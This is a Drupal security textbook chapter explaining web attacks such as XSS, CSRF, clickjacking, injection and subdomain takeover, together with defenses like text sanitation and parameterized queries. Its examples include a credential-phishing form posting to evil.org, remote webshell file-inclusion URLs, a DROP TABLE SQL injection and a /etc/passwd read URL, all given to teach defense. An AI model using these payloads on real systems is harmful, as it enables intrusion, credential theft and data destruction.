Security
Securing a WCMS against the “Wide Wild Web” is absolutely necessary to keep the website healthy. This chapter discusses the major vulnerabilities facing a WCMS designer, and how to mitigate them, with an emphasis on the tools that are available in the Drupal development environment.
Table of contents
- Introduction
- Attacks and vulnerabilities
- Risk analysis and testing
- Protection techniques
- Forensics and repair
- Final word
Drupal projects discussed in this chapter: Encryption, Flood control, Force Password Change, Hacked!, Login security, Paranoia, Password Policy, Routes List, Security review.
Introduction
In the early days of the web, websites were document repositories consisting of static documents. There was no way for the user to interact with the site, beyond browsing (moving from one page to another, viewing its content). Users did not authenticate, and each user were treated the same, and allowed to view all documents that existed in the repository. If a threat agent were to compromise a web server, she would not gain access to any restricted information, because the information stored on the server was already open to public view. Rather, an successful threat agent would modify the files on the server to “deface” it, or use the server as a platform for illegal activities such as distribution of stolen software or illegal pornography.
Today, the web is something completely different. Today, most websites are complex applications that interacts with its users and perform complex services. Today's websites rely on two-way flow of information between the server and the browser, and as a rule make heavy use of a client side scripting language (e.g. JavaScript, VBScript, ActiveX, or Flash) to delegate tasks to the browser. A web content management system (WCMS) is expected to support user authentication, the authoring of content by users, and serving different content to different users. Some of the content managed by the system may be private, and shall only be viewable to privileged users.
This means that a designer of a WCMS needs to deal with a number of security challenges. In 2010, cross-site scripting (XSS) was the third most common form of attack on web applications, SQL Injection was the second. and Denial of Service (DoS) was the most common form of attack.
For a more up-to-date overview of attack methos, see the WHID Real-Time Statistics. For more information about web attack vectors and securing a website and web application, see the OWASP attack page It provides good overviews of different attack vectors and discuss specific attacks. You may also want to visit the Web Application Security Consortium (WASC) website and their their web hacking incidents database. For a more tutorial approach to the subject see the 912 page long Web Application Hackers Handbook by Dafydd Stuttard and Marcus Pinto. For material about securing Drupal, please see Cracking Drupal: A Drop in the Bucket by Greg James "greggles" Knaddison. This book is currently the most comprehensive treatment of Drupal security. You may also want to visit his blog for updates of the book.
Drupal enjoys a good track record in terms of security. The Drupal community has an organised process for investigating, verifying, and publishing possible security problems, managed by the security team.
However, to keep a Drupal installation secure, it is important to respond quickly to security updates and components entering “unsupported” status. When a component becomes vulnerable, it will be shown with a red background on the available updates report. To see the status of instalmed modules and themes, navigate to
and scroll through the list of installed modules and themes.If a security update is required the text “Security update required!” will be shown. For an example, see screenshot below.
Unsupported modules or themes are also a security risk. This is indicated in the available updates report with a red background and the text “Not supported!”. To keep your site secure, you must disable and uninstall such components as soon as they are discoved.
Attacks and vulnerabilities
DoS (Denial of Service)
A DoS (Denial of Service) attack makes a resource (site, application, server) unavailable for the purpose it was designed for the duration of the attack.
There are many ways to make a service unavailable for legitimate users: E.g by manipulating network packets, by injecting malware, or by exploiting badly designed resource handling vulnerabilities.
If a service receives a very large number of otherwise legitimate requests, it may cease to be available to users. This is often exploited in a distributed DoS (DDoS) attack, where a so-called botnet is flooding the target with traffic.
Sometimes the threat agent can inject and execute arbitrary code while performing a DoS attack in order to access critical information or execute commands on the server.
DoS attacks significantly degrade the service quality experienced by legitimate users. These attacks introduce large response delays, excessive losses, and service interruptions, resulting in direct impact on service availability.
DOM-corruption
[TBA: availability]
Protection: Text sanitation.
XSS (Cross-site scripting)
The terms “XSS” and “cross-site scripting” are the most common names for a form of attack that may also be called “client-side script injection”. It happens when some sort of script (e.g. javascript or vbscript) is embedded into a web page and executed when the page is rendered in the victims browser.
XSS can be used for session hijacking (theft of session and/or authentication cookies), phishing attacks (injection of fake login dialogues into legitimate pages on the host website), DOM-manipulation, keystroke logging, XSS-worms (a type of computer virus).
If your site allow arbitrary HTML in user generated content, then it is open to XSS attacks. A trivial example is the following markup:
<script>javascript:alert('XSS')</script>
The payload here is harmless (it only displays an alert-box on the victim's computer), but it could obviously been something more sinister.
In the example below, the <img>
tag is used instead to deliver the payload:
<img src="example.gif" onload="javascript:alert('XSS')">
Note that the image has to exist for the payload to bite.
Below is a more complex example. I've copied it from a white paper titled “Server-Side JavaScript Injection” by Bryan Sullivan from the Adobe Secure Software Engineering Team.
The JavaScript is from a website application that uses client-side
JavaScript code to process stock quote requests. (The code uses JSON
as the message format and XMLHttpRequest
as the request
object.)
<script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if ((xhr.readyState == 4) && (xhr.status == 200)) { var stockInfo = eval('(' + xhr.responseText + ')'); alert('The current price of ' + stockInfo.symbol + ' is $' + stockInfo.price); } } function makeRequest(tickerSymbol) { xhr.open("POST","stock_service",true); xhr.send("{\"symbol\" : \"" + tickerSymbol + "\"}"); } </script>
In this code the call to eval of the request object is insecure. If a threat agent controls the request object coming from the stock service and uses this to inject JavaScript code, the call to eval would execute that JavaScript code in the victim's browser. This could enable the threat agent to extract any authentication or session cookies from the page DOM and send them back to herself, so that she could assume the identity of the victim and take over the session.
For more information abut XSS, and a quick overview over some possible XSS exploits, and to what extent various browser versions are vulnerable to them, you may want to look at the HTML5 Security Cheatsheet, put online by HTML5sec.org, and the XSS Cheat Sheet by Hack 2 Learn.
Protection: Text sanitation.
XFS (Cross-frame scripting)
Cross-frame Scripting (XFS) is an attack that uses an iframe
to embed malicious JavaScript on a site controlled by a threat agent.
Here is an example:
<iframe src="http://evil.org/exploit.html" width="400" height="300"></iframe>
Protection: Text sanitation.
CSRF (Cross-site request forgery)
The Cross-site request forgery (CSRF or XSRF) is an attack that tricks an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the threat agent has no way to see the response to the forged request.
To execute an attack the the threat agent must trick the victim into accessing an URL that performs some state-change on the site that only the authenticated user is allowed to make. This is usually done by by using social engineering (such as sending a link via email or chat), to deliver the URL to the victim.
If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, a succesful CSRF attack can compromise the entire web application.
A CSRF attack has the following characteristics:
- It is always performed blindly,
on behalf of a particular user. That means that the threat agent cannot access any response during the attack. - It exploits the fact that in many web applications, user authentication is persistent. If you are logged-in on a site with cookies, then your browser will always send along the cookies with any request it makes to that site. If another site embeds resources from that site (images, javascript, iframes, etc.), then that resource will be requested with your cookies attached.
- Only operations that changes the web application's data can be exploited. The path
/node/1
cannot be vulnerable to CSRF exploits in a standard Drupal installation, because a node is only displayed and not changed. But the pathnode/1/delete
can be exploited, if accessing this path deletes node 1.
Protection: Security tokens.
Sources: Klaus Purer, Acquia: Intro and Acquia: Defence.
Information disclosure
Information disclosure means that the system discloses information that should not be disclosed to a threat agent.
This happens when a website reveals personal or other data that is not supposed to be accessible to the threat agent, or it reveals data that may compromise security, such as system messages, technical details of the web application or environment. Disclosed information may be used by a threat agent to exploit the target web application, its hosting network, or its users. Therefore, information disclosure should be limited or prevented whenever possible. For instance, system messages should not be shown to untrusted users on a production site, as they may reveal configuration errors that may be exploited.
Some files that come as part of the standard installation package and are publicly accessible by default, should be made inaccessible.
Access bypass
Access bypass is closely related to information disclosure, but while information disclosure is about incidental disclosure, access bypass is about vulnerabilities that allow the threat agent to bypass or short-circuit access control imposed by the system.
Arbitrary code execution
In a arbitrary code execution attack, the threat agent manages to insert malicious code into the site, and get it executed.
Attack vectors include several types injection attacks (discussed en more detail below), inadequate uploaded file permissions, allowing code or scripts in download directories to be executed and executable code embedded in content pulled from the database.
Protection: Preventing arbitrary code execution and rogue files.
Clickjacking
Clickjacking (also known as a “User interface redress attack”), is when a threat agent uses one or more transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page. Thus, the threat agent is “hijacking” clicks meant for one page and routing those clicks to another page.
Here is an example:
<a href="http://example.com/exploit.html" style="display: block; z-index: 100000; opacity: 0.5; position: fixed; top: 0px; left: 0; width: 1000000px; height: 100000px; background-color: red;"> </a>
The above example code has opacity set to 0.5 to make the intrusion
of the overlay obvious. A real attack would set the opacity to 0. If
a site allow untrusted users to use the style
attribute,
it is vunerable to clickjacking.
Protection: Text sanitation.
HTML injection
HTML injection (sometimes called “form injection”) is when a threat agent inserts insecure HTML into a web page that is rendered by the site.
The injection can take place by embedding a bogus form in an email or sent to the victim as part of a phishing attack, or by posting a bogus form on some interpersonal website.
HTML injection is closely related to XSS. Both leverages of unsanitised user input, but while XSS uses injected scripts to run JavaScript, HTML injection injects HTML to modify the page as rendered to the user, for malicious reasons.
To demonstrate how form injection works, take the fragment below
and assume it part of a page named stupid.php
on a site
named example.com:
Welcome, <?php echo $_REQUEST['name']; ?>
The programmer who wrote this clearly expects the user to input his
name is some HTML form, which is then stored in
$_REQUEST['name']
. The fragment shown above will normally print
out a friendly welcome message mentioning the user's name.
However, the assumption that $_REQUEST['name']
holds a
name may not always be valid. A threat agent may exploit this by
constructing a link like the following where the querystring contains
the payload:
<a href='http://example.com/stupid.php?name=enter your username and password: <form method="post" action="http://evil.org/login.php"> Username: <input type="text" name="username"><br> Password: <input type="password" name="password"><br> <input type="submit" value="Login"></form><!--'>Login on your account on Example.com immediately to prevent something really bad from happening!</a>
This injects a link to a form served from evil.org while the victim believes it is served from example.com.
Now, all the threat agent need to do is to trick the victim into clicking on this link (e.g. by embedding this construct in a phishing email, or by creating a bogus alert on some website where the victim will see it).
The code can be used by the threat agent to steal usernames and
passwords from users who believe they're logging in on
example.com
.
Note that HTML-injection can not only be used with text fields. Some programmers believe that non-text HTML form elements, such as radio buttons, are safe, because no other text than what already appear in the form can be input by the user when clicking on the form.
For instance, the markup of a HTML form with radio buttons may look like this:
<form name="stupid" action="http://example.com/stupid.php" method="post"> <input type="radio" name="colour" value="red">red</input> <input type="radio" name="colour" value="green" checked>green</input> <input type="radio" name="colour" value="blue">blue</input> <input type="submit"> </form>
A naive programmer may think that the data coming from this form must always be one of “red”, “green” or “blue”, since those are the only possible value options available in the form.
What the naive programmer forgets, is that the threat agent need not interact with this form through the form user interface. The threat agent may submit his own query response, and by doing so she may put any value into the form's colour field.
To cut a longs story short, user input can never be trusted and must always be sanitised.
Protection: Text sanitation.
CSS injection
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted website, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to JavaScript execution (i.e. XSS injection) or to UI modifications. In older browsers, it could even be used for data theft (data exfiltration).
See: OWASP, StackOverflow, StackExchange security Owl's Portfolio, and Archive.is for examples.
Protection: Text sanitation.
File injection
Consider a PHP file named stupid.php
that accepts a
query string with a field named COLOUR
, where this field
is used to include a file with colour settings for the site. For
example, there may be a file named green.php
. Let us
assume that thus is implemented like this in:
if (isset( $_GET['COLOUR'] ) ){ include( $_GET['COLOUR'] . '.php' ); }
Used like this: /stupid.php?COLOUR=green
the file
named green.php
will be included in
stupid.php
. This is obviously how the author intended
this to be used.
However, there is nothing stopping a threat agent from putting other tings in this field. For example:
/stupid.php?COLOUR=http://evil.org/webshell
- injects a remotely hosted file containing code that gives the threat agent full shell access to the target computer./stupid.php?COLOUR=sites/default/files/pictures/webshell
- executes the same code from an already uploaded file.
Note that file injection is not limited to $_GET
.
It is not as trivial to do so, but if
the malicious user writes her own submission form, the same type of
injection can be done with $_POST
.
Protection: Preventing arbitrary code execution and rogue files, Input validation
SQL injection
A SQL injection attack consists of insertion of a SQL query via the input data from the client to the application.
A SQL injection can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), and in some cases issue commands to the operating system.
An SQL injection may happen if the website use unsanitised (raw) user input in database queries, as illustrated in the xkcd cartoon below:
Protection: Input validation, Database query sanitation.
Subdomain takeover
A subdomain takeover is a vulnerability that results from a DNS misconfiguration. A subdomain is vulnerable to such attacks if its DNS answer is a CNAME record that delegates DNS resolution to an external domain that can be taken over by a threat agent (e.g an expired domain, or a cloud provider subdomain).
The screen shot below shows how a subdomain takeover is used to deface of one of Donald Trump defunct campaign sites by someone going by the nom de hacker “Pro_Mast3r”:
The vulnerability allows the threat agent to take full control over the subdomain. In addition to defacing the site, a subdomain takeover can be used for phishing (e.g. to steal credentials and cookies). Because the URL of the phishing site will appear legitimate to visitors, a phishing attack is more likely to be successful.
If the abandoned subdomain acts as a public CDN for JavaScript or other client side script, or provide embedded content such as audio or video, a subdomain takeover can turn your abondoned domain into a vector for client site script injection or that will bite sites that uses your CDN.
The typical scenario that leads to a subdomain takeover is that you
at one point in time set up a website at a subdomain
(e.g. subdomain.example.com
), and you host the subdomain
at a cloud service provider (e.g. AWS S3). In order to do so you set
up an alias for the cloud service
(e.g. mysubdomain.s3.amazonaws.com
). You then configure
your DNS so that your subdomain (i.e. subdomain.example.com
)
points to the cloud service (in this example it is an AWS S3 bucket)
by means of a CNAME record. Then, sometime later, you stop
using the subdomain and cancels the subscription with the cloud
provider, but you forget to remove the CNAME record that points to the
cloud service from your DNS configuration. Now, all the threat agent
has to do is to subscribe to the same cloud service and reuse
the name you used for the now defunct subdomain (in this example, that
is subdomain.s3.amazonaws.com
). The threat agent is now
in position to set up his own site at the cloud service. Anyone
visting your defunct subdomain will now be redirected to the site set
up by the threat agent.
To avoid the problem as a domain owner, make sure that your DNS does not have dangling CNAME records (i.e. CNAME records pointing to non-existing domains).
To avoid the problem as site designer, do not use public CDNs for client side scripts or content, or monitor subresource integrity (SRI).
The services provided by the following cloud services is (or at least have been) exploitable:
- AWS CloudFront
- AWS S3
- Bitbucket
- Desk
- DigitalOcean
- Github
- Heroku
- Pantheon
- Squarespace
- Shopify
- Tumblr
- ZenDesk
Read more:
- Sweepatic
- Security Breached
- Detectify laps - P1
- Detectify laps - P2
- PeerLyst
- TheHackerBlog
- BleepingComputer.com
Brute forcing
Some threat agenst may try to compromise passwords by brute forcing them. This entails trying all possible combinations too see if one matches.
Brute force attacks may be over the network against the website login form, or against the hashes themselves if the database is compromised.
Protection: Login and password security.
Risk analysis and testing
Information security is always relative to the information and services being protected, the skills and resources of threats, and the costs of potential remedies. Information security is an exercise in risk management.
The purpose of risk analysis and security testing is to ensure the robustness of an information system in with respect to malicious attacks, user errors, software and hardware failures and external events (e.g. fires and floods).
Roughly speaking the following “tools” are often used for this purpose:
- Risk analysis. This is an activity geared towards assessing and analyzing information system risks.
- Black-box testing. This is security testing that is performed from the “outside”, without access to source code or reference to its internal workings.
- White-box analysis. This is security testing that is performed based on full knowledge of how the system is implemented.
- Gray-box testing. This is security testing that combines white-box analysis with black-box input testing.
In a typical case, one starts out with a risk analysis to identify the a number of factors that in combination tell us about risk. Then black-, white- and/or gray-box testing is used to identify specific vulnerabilities. Finally, new or improved mitigations for the vulnerabilities are implemented and deployed, and the risk analysis report is updated to reflect the improved information system.
Risk analysis
The main deliverable from risk analysis is a report that provides a functional decomposition of the information, mapped against the environments across which the information system shall be deployed. The report should be detailed enough to make a desktop review of threats, potential vulnerabilities and mitigations possible.
Specifically, the risk analysis report should identify:
- The information assets that is managed by the information system, including personal data.
- The components of the information system, including non-computer components (e.g. staff and buildings).
- The threats present in each component that make up the information system.
- The vulnerabilities that might exist in each component.
- Existing and recommended mitigations (countermeasures) to protect against failure.
- The impact (reputational consequence and financial cost) of failure.
- The probability (likelihood) of the failure.
The risk analysis report should be the guiding force behind all subsequent testing activities.
Black-box testing
Black-box testing refers to a method of information system security testing in which the security controls, defences and design of an application are tested from the outside-in, with little or no prior knowledge of the application’s internal workings. Essentially, a black-box tester takes an approach similar to that of a real threat agent.
It can only be applied to a fully functional information system.
Since black-box security testing does not assume or have knowledge of the target being tested, it is a technology independent method of testing. It is often the used first, to learn about the components and vulnerabilities that need to be specifically addressed in the white-box analysis.
White-box analysis
White-box analysis refers to a method of information system security testing that is based upon having access to the internals of the system being tested.
It means analyzing data flow, control flow, information flow, coding practices, and exception and error handling within the system, to test the intended and unintended software behavior. White-box testing can be performed to validate whether code implementation follows intended design, to validate implemented security functionality, and to uncover exploitable vulnerabilities.
White-box testing requires access to the source code, database and physical hardware. It can be performed any time in the life cycle of an information system. Requirements:
- Knowing best practice methods for making software secure is a fundamental requirement. The tester need to comprehend and analyze available design documentation, source code, and other relevant development artifacts.
- In order to be able to create tests that exploit software, the tester must be able to think like a threat agent.
- To perform testing effectively, testers need to know the different tools and techniques available for white-box testing.
Protection techniques
This section describes some of the protection techniques a site developer may use to protect the website against malicious attacks.
W3C has published a document (W3C Content Security Policy) that outlines a Content Security Policy (CSP). A CSP describes how developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The Mozilla Security team has prepared a short document (Security/CSP) that defines the most important CSP goals. Note that a CSP is not intended as a first line of defense against content vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that threat agent can cause, but it is not a replacement for careful input validation and output encoding.
Guidelines for Drupal webmasters
- Subscribe to the security updates mailing list.
- Keep core and contrib up to date with security updates at all times. Do not install the version of Drupal provided by the operating system (it is not kept in sync with critical security patches). You may use a shell script to automate the update process: github: thenewgroup/auto-updates.
- Do not use contributed project that has not opted into security coverage.
- Properly secure file permissions.
There are several Drupal modules that can help you with security, check out:
Preventing arbitrary code execution and rogue files
To prevent arbitrary code execution attacks, you need to make sure that the upload manager sanitise uploads by disallowing executable file types. The following file types are safe, and should be adequate for most use cases:
txt doc docx rtf odtm fodt jpg jpeg png gif pdf ppt pptx odp fodp xls xlsx ods zip gz
In Drupal 7, one of the settings for the the built-in file field is allowed file extensions, as shown in the screen shot below.
You should also disallow execution of any uploaded file.
In Drupal 7, this is done by placing an .htaccess
-file (a
file with access directives for the Apache web server in the
root of allfile upload areas):
Deny from all # Turn off all options we don't need. Options None Options +FollowSymLinks # Set the catch-all handler to prevent scripts from being executed. SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006 <Files *> # Override the handler again if we're run later in the evaluation list. SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003 </Files> # If we know how to do it safely, disable the PHP engine entirely. <IfModule mod_php5.c> php_flag engine off </IfModule>
Outside of the upload directories, you need to make sure that the files permissions set in the operating system follows the best practice for your type of hosting. The best practices for various hosting options is described in the section about Directories and files below.
In addition to preventing uploaded files from being executed, files stored by Drupal the public file system will be accessible and can be viewed and downloaded by anyone that knows its URL. If you fail to secure file uploads against abuses, you risk hosting publicly available files on your site that you don't want to be associated with.
For more about this, including how to prevent it, see the section “File uploads by threat agents” in the chapter about file handling.
The Drupal 7 core contains a misfeature known as the PHP Filter. It is disabled by default. Even when disabled, it is a security risk. If a threat agent ever gains the ability to write PHP via a web interface on your server it is fairly easy for the threat agent to take full control over the server, even if the site uses secure file permissions. For this reason, it should be removed.
Removing the PHP Filter is a two step
process. First ensure that the module is disabled and no associated
permissions are being used for PHP. Next, delete the entire directory
for the module. It is /modules/php
if you do a
default installation. The entire module directory can safely be
removed without causing any harm to the Drupal installation.
The original use of the PHP Filter module was for determining visibility of elements like blocks or views. However, in each of these use cases the PHP can be moved to a theme template file, which is more appropriate (as themes govern display logic), is easier to maintain (it's easier to find PHP code in themes and easier to spot custom templates than it is to check obscure text fields in the admin interface), and it moves PHP out of the database and into the filesystem where you can enforce filesystem security protections.
If you, for some reason, need to have the PHP Filter module installed, you may want to install the Paranoia module. This module attempts to identify all the places that a user can execute PHP via Drupal's web interface, so you can locate the spots where injection may occur and then block those.
Securing images
Images linked to and/or uploaded by untrusted users, and the
<img>
tag itself, are somewhere in the grey area between manifest safe markup
such as <p>
and <strong>
,
and manifest insecure markup such as <iframe>
and
<script>
. Below is a discussion about image
security in the context of the Drupal WCMS.
As already noted, the image tag can be used to inject XSS if not
sanitised. Allowing threat agents users to use the
<img>
tag directly is insecure.
However, if unsafe attributes are stripped from the input, the XSS vulnerability goes away.
In other words, if the threat agent inserts:
<img src="example.jpg" onload="alert('XSS')">:
The allowlist filter should turn it into:
<img src="example.jpg">:
By removing the onload attribute before saving the buffer, the allowlist filter removes the XSS vulnerability.
In addition to binary image formats (png gif jpg
),
images may also be on the scaleable vector graphic format
(svg
), and may contain JavaScript. For example the
file exploit.svg
may contain:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert('XSS'); </script> </svg>
This can be embedded in a web page with
the <img>
-tag:
<img src="exploit.svg">
A threat agent may also link the src
attribute of an
<img>
tag to something that is not an image,
e,g.:
<img src="exploit.js">: <img src="javascript:alert('xss')">
As far as I know: The last two exploit examples (JavaScript
embedded in an <svg>
-file and linking
the src
to Javascript) will not fool a modern browser.
You may still want to mitigate those, in case some of the visitors to
your site use an outdated browser, such as MSIE 6.
Plaese also note that if you allow threat agents to link to images on other sites, you may expose your visitors to attacks.
For instance, this may be used to insert a Web beacon into the content of your site:
<img src="http://evil.org/webbeacon.png">
Other exploits possible with remote linked images are:
- To replace a nice image with an advertising message (or something even nastier) after a posting has been approved.
- To link the image to a resource that sends an
HTTP 401 Unauthenticated
response. This will trigger an login screen for the threat agent, allowing the threat agent to phish for credentials. - To link the image to a resource that sends a
HTTP 302 Moved Temporarily
response. This will redirect the browser to a new location. If that new location rely on cookies to authenticate the user, and there are persistent cookies present, the threat agent will be able to to forge a session with the location targeted.
Because remotely hosted images allow such attacks, you should not let threat agents link to images that is not stored locally. By default, Drupal only allow trusted user roles to link to remotely hosted images. For more, please see this DO forum post.
For the record, user uploaded images stored locally is also a (minor) security risk, since they may be used to mount Denial of Service (DoS) attacks in the form of a so-called “decompression bomb”.
A decompression bomb exploits the fact that digital images are transmitted and stored in a compressed format. If the image data is repeating, very large compression rates are possible. To process an image (for instance to re-size it), it must be decompressed, This means that is possible for a threat agent to create an image that is only a few kilobytes when compressed, but that will consume enormous amounts of memory when decompressed, slowing down the computer, or even making it crash.
You can mitigate this by putting sanity checks that aborts the process if the use of resources becomes excessive. Drupal will indeed abort when PHP hits its maximum memory limit. This will, however, make the Drupal instance crash, but not do any other harm. Drupal bootstraps itself for every new request, so the website as such will not be affected.
As far as I know, decompression bomb attacks are not much used. I've only encountered the concept in theory.
Input validation
Input validation means that you take steps to ensure that data is strongly typed, correct syntax, within length boundaries, contains only permitted characters, and that numbers are correctly signed and within range boundaries.
For instance, if you expect a field in a form to contain a postcode, you should have a form validation handler that examines the data the user has typed into the field and make sure it really is a postcode by checking its type, length and syntax. Input that does not validate should be rejected.
PHP and most other programming languages provides a library of validation filters that can be used in validation handlers.
Database query sanitation
Drupal.org D8: Secure Database Queries.
Data used is database queries should be encoded and escaped:
- encoded: Encode the input so that special characters (such as the quote and backslash character) in queries are not intepreted literally by the query engine.
- escaped: Separate untrusted input from query by using prepared statements and parameterized queries.
Unless you do this, even otherwise valid data (e.g. the city name “Coeur d'Alene”) will break the database if embedded in a query. In addition, threat agents may exploit the meaning of special characters to mount an SQL injection attacks against your database.
The best practice in PHP for SQL injection prevention i PHP, is to use prepared statements and parameterized queries to escape untrusted input. These are SQL statements that are sent to and parsed by the database server separately from any parameters. See, for instance, this answer on StackOverflow.
In Drupal, escaping user input to prevent SQL injection is fully supported by the database abstraction layer, but you need to know how to apply it. The following example first shows how to not create SQL queries in Drupal 7, and then how to do it correctly:
The following pair of PHP statements is supposed to query the the
field title
in the {node}
table for the
title for a particular numeric $nid
. However,
if $nid
is set by the user, this query
is dangerous:
// DANGEROUS $query = db_query("SELECT title FROM node where nid = $nid"); $title = $query->fetchField();
If the value of the variable $nid
is unsanitised user
input, a malicious user may provide the following input:
4;DROP TABLE node;
This produces the following SQL query:
SELECT title FROM node where nid = 4; DROP TABLE node;
I.e.: the user is able to wipe out the entire {node}
table.
To avoid SQL injection attacks on a Drupal site, always use
Drupal's database abstraction layer when interacting with the
database. For instance, the call to db_query()
used as
example above should use this:
$title = db_query('SELECT title FROM node WHERE nid = :nid', array(':nid' => $nid))->fetchField();
This will produce a prepared statement with a parameterized query. The SQL statement will be sent to and parsed by the database server separately from user supplied query parameter. This guards against this form of attack.
However, this may not always be enough. In the query below, the two
variables $field
and $table
may originate
from user input and be tainted:
// DANGEROUS $i = db_query('SELECT ' . $field . ' FROM {' . $table . '} WHERE ' . $field . ' = :x', array(':x' => $normalized))->fetchAssoc();
To sanitise them, run them through the escape functions built into the database abstraction layer before using:
$table = db_escape_table($table); $field = db_escape_field($field); $i = db_query('SELECT ' . $field . ' FROM {' . $table . '} WHERE ' . $field . ' = :x', array(':x' => $value))->fetchAssoc();
Alternatively, use a dynamic query where sanitiation of some parameters are built in:
$query = db_select($table, 't'); $query->fields('t', array($field)); $query->condition('t.' . $field, $value); $i = $query->execute()->fetchAssoc();
To learn what parameters are sanitised, see this core issue at Drupal.org.
Securing the server
- Hide DB credentials in environment variables.
- Do not run PHP under as the web server, use another account for Drupal.
- Disallow remote execution of:
cron.php, install.php, update.php, xmlrpc.php
.
SO: Blackholing anonymous requests.
Text sanitation
Drupal.org D8: Writing secure code for Drupal
Unlike database query sanitiation, text sanitiation is applied to unsecure text before it is output and rendered by the user's browser.
The exact methods depends on the context. The discussion below applies if the text is to be output on a web page.
The general strategy for text sanitation is to remove, repair and/or encode constructs in the text that may allow a threat agent to corrupt the DOM or excute code in a victim's browser.
For instance if the DOM has been corrupted by user input (e.g. the user has inserted an open tag in HTML, but failed to close it), this needs to be repaired before the page is output. The Drupal core provides a text filter to do this. It is called “Correct faulty and chopped off HTML”. Having this as the last filter in the filter processing order will ensure that anything that is output as HTML, is valid HTML.
To encode user text, the core provides the text filter “Display any HTML as plain text”. To remove unwanted markup the core provides the text filter “Limit allowed HTML tags”. The latter will by default remove all HTML tags and attributes that can be abused, but you may alter the list of elements to escape.
For developers who need to repair a potentially broken DOM by means
of code, there is the core function _filter_htmlcorrector
that will make sure the DOM is valid HTML.
For developers who need to encode or remove text, Drupal provides a number of useful
sanitation functions. Note that
this page is not complete. For example: drupal_clean_css_identifier
is also a sanitation function.
Rules of thumb:
- Use
check_url
for URLs. - Use
check_plain
for plain text. - Use
check_markup
for rich text in a text area with an associated text format. For untrusted users, make sure the format is safe. - Use
drupal_clean_css_identifier
for css class names entered by the user. Ensures it is a well-formed CSS identifier and guards against XSS. - Use
filter_xss
for markup containing text entered by a user. - Use no filter if the text is entered by a trusted admin and should allow all markup.
The flowchart below provides a rule of thumb about santising user input.
There is also a Drupal function named valid_url()
that
might come handy. Unlike check_url()
it will not santise
the URL, but it will return FALSE if the URL-syntax is
invalid, or if the syntax valid but irregular (see the box below).
It
is sometimes suggested that the following native PHP-function:
filter_var($url, FILTER_VALIDATE_URL)
should be used to validate URLs.
It checks that the URL has a valid syntax, but it is not a santitation function.
As pointed out by
David Müller
and
Michael Nelson,
it has a number of problems. For instance,
it will return TRUE
for all these URLs:
http://example.com/"><script>alert("xss")</script>
php://filter/read=convert.base64-encode/resource=/etc/passwd
foo://bar
javascript://test%0Aalert(321)
.
By comparion, the drupal function valid_url($url, TRUE)
will
return FALSE
for all of these,
while the Drupal function check_url($url)
will sanitise these URLs, returning
safe versions of them.
In addition, the function named t
may be used
with @
or %
placeholders to construct safe,
translatable strings. The t
function knows about three
styles of placeholders:
In Drupal 7, you may use !variable
, which indicates that the text should be inserted as-is. This is useful for inserting guaranteed safe variables into HTML,
and any variable into non-HTML text such as email.
$message = t('Cange your settings at !url.", array('!url' => 'myprofile');
In Drupal 8, the !variable
is deprecated. There is no
longer a placeholder for unsanitized text. Use @variable
or XXXX
$link = 'myprofile'; $message = t('Change your settings at ' . $link . '.');
@variable
, which indicates that the text should be run through check_plain, to escape HTML characters. Use this for any user input that need to be sanitised before it is displayed within a Drupal page.
$title = t("@name's blog", array('@name' => $account->name));
%variable
, which indicates that the string should be HTML escaped and highlighted with theme_placeholder() which shows up by default as emphasized.
$message = t('%name-from sent %name-to an email.', array('%name-from' => $user->name, '%name-to' => $account->name));
D8: :variable
, for use specifically with urls. TODO.
The important thing to remember is that no piece of untrusted user-submitted content should ever output unfiltered into HTML.
To learn more about handling and sanitising user text, see the following user contributed documentation on Drupal.org: Handle text in a secure fashion and Writing secure code. For some additional notes about placeholders and translations, see: Dynamic strings with placeholders, and API: function t.
With text sanitation, follow the allowlist philosophy. Do not look for exploits in user input. Instead make sure that user input is validated, and that all constructs that may lead to exploits are either removed, encoded or escaped.
The following HTML elements must not be allowlisted without some form of mitigation: <applet> <area> <base> <basefont> <body> <button> <embed> <form> <frame> <frameset> <head> <html> <iframe> <input> <isindex> <label> <link> <map> <meta> <noframes> <noscript> <object> <optgroup> <option> <param> <plaintext> <script> <select> <style> <textarea> <title>.
Some of the elements on the list compromise security, others allow users to break site layout and/or to break the DOM.
For permitted HTML elements, attributes should be allowlisted, and
if the id
and/or class
attributes are
allowlisted, best practice is to only allow allowlisted values for
id
and class
names. The reason for this is
that the logic of a web application may depend on the content or
location of specific DOM elements inside the HTML which are selected
based on id
or class
name. If you allow the
user to specify any class name, a threat agent may be able to generate
content with the same class or id names as those used in the front-end
application logic. This may result in a corrupt page being rendered
and might severely confuse the front-end which even might lead to
security issues.
If your web application logic does not rely on id
and class
names to work correctly, you may skip
allowlisting id and class names.
File permissions
When setting up file permissions for a Drupal 7 website, the following five classes of directories and files need to be considered.
settings.php
– the settings file (contains secret information such as database credentials in clear text).modules/
– this directory is representative of all directories that is part of your website that is not used to hold uploaded files or translations.bar.php
– this file is representative of all other files that is part of your website, including files that can be executed by the web server.files/
– this directory is representative of a public upload directory (i.e. the root upload files directory and any directory below it).files/foo.png
– this file is representative of all uploaded files.translations/
– the site's translations directory to hold portable objects (.po
) for translations.translations/foo.po
– this file is representative of all translation po-files.
When putting a site on the web, the webmaster wants the site to be operational, CLI accessible (but only for the webmaster), and secure. For this to happen, ideally all the following five requirements should be satisfied:
- For a WCMS to be operational, the web server must have read access to all the files that make up the site, and access directory access to all the directories that make up the site.
